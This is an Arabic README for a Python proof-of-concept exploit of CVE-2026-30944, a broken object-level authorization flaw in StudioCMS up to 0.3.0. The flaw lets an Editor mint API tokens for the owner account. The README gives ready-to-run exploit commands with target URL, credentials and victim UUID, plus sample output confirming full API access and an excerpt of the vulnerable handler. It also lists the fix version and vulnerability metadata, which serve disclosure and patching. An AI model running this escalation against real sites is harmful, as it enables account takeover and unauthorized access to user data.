
إثبات مفهوم بلغة بايثون لثغرة CVE-2026-30944، تستغل ثغرة BOLA في StudioCMS لتصعيد الامتيازات عبر توليد غير آمن لرموز API.
تصعيد الصلاحيات في StudioCMS عبر توليد رموز API غير آمنة
يسمح نقطة النهاية POST /studiocms_api/dashboard/api-tokens في StudioCMS ≤ 0.3.0 لأي مستخدم مُصادق (بحد أدنى دور Editor) بتوليد رموز API لأي مستخدم آخر، بما في ذلك حسابات owner و admin.
تقبل نقطة النهاية معامل user في جسم الطلب يحدد UUID المستخدم الهدف ولكنها لا تتحقق أبدًا مما إذا كان المستخدم الطالب مخولًا بإنشاء رموز نيابة عن ذلك الهدف. هذه ثغرة Broken Object Level Authorization (BOLA) كلاسيكية تؤدي إلى تصعيد كامل للصلاحيات.
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"<owner-id>"} │ │
│ Attacker │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ Server │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer <owner-token> │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [Full user data as Owner] │
│ │
| الملف | الوصف |
|---|---|
cve_2026_30944_poc.py | سكربت استغلال بلغة Python مع أوضاع يدوية وآلية |
README.md | هذا الملف |
LICENSE | رخصة MIT |
Editor على الأقلpip install requests colorama
# توليد رمز API للمالك باستخدام حساب محرر
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# حفظ النتائج في ملف JSON
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
# اختبار بأدوار متعددة لتأكيد الثغرة
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
| الوسيط | الوصف |
|---|---|
-u, --url | عنوان URL الأساسي لـ StudioCMS الهدف |
--uuid | UUID المستخدم الهدف (مثل حساب المالك) |
| الوسيط | الوصف |
|---|---|
--username | اسم المستخدم للمصادقة |
--password | كلمة المرور للمصادقة |
| الوسيط | الوصف |
|---|---|
--save | حفظ النتائج في ملف JSON |
--no-ssl-verify | تعطيل التحقق من شهادة SSL |
──────────────────────────────────────────────────────────
PHASE 1: Authentication
──────────────────────────────────────────────────────────
[+] Authenticated as 'editor01'
[*] Session user: editor01 (editor)
[*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 2: Privilege Escalation
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generating API token for target user...
[+] API token generated successfully!
[!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
PHASE 3: Verification
──────────────────────────────────────────────────────────
[*] Verifying token access on REST API...
[+] VULNERABILITY CONFIRMED — Full API access achieved!
[*] Retrieved 9 user records
──────────────────────────────────────────────────────────
PHASE 2: Privilege Escalation
──────────────────────────────────────────────────────────
[*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generating API token for target user...
[*] Access denied (403 Forbidden) — endpoint may be patched
[-] Exploitation failed — token not generated
يقبل المعالج المعرض للثغرة في packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (الأسطر 16–57) معامل user من جسم JSON ويمرره مباشرة إلى دالة توليد الرمز دون فحوصات تفويض:
// [1] Only checks if caller is editor — not WHO they're creating a token for
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 'user' from request body — no validation against authenticated session
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] Passed directly to token generation — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
نموذج التفويض يتحقق فقط من "هل المتصل محرر على الأقل؟" بدلاً من "هل المتصل مخول بإنشاء رمز لهذا المستخدم المحدد؟"
قم بتحديث StudioCMS إلى الإصدار 0.4.0 أو أحدث:
npm install studiocms@latest
هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرح بها فقط.
Filipe Gaudard
تم إصدار هذا الـ PoC بموجب رخصة MIT لأغراض تعليمية. استخدمه بمسؤولية وأخلاقية.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-30944 |
| GHSA | GHSA-667w-mmh7-mrr4 |
| CVSS v3.1 | 8.8 (عالية) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639: تجاوز التفويض عبر مفتاح يتحكم به المستخدم |
| CWE (ثانوي) | CWE-863: تفويض غير صحيح |
| MITRE ATT&CK | T1134 — التلاعب برموز الوصول |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| المتأثر | studiocms ≤ 0.3.0 |
| تم الإصلاح في | studiocms 0.4.0 |
| الوسيط | الوصف |
|---|
--auto-test | تفعيل الاختبار الآلي متعدد الأدوار |
--editor-user | اسم مستخدم حساب المحرر |
--editor-pass | كلمة مرور حساب المحرر |
--visitor-user | اسم مستخدم حساب الزائر |
--visitor-pass | كلمة مرور حساب الزائر |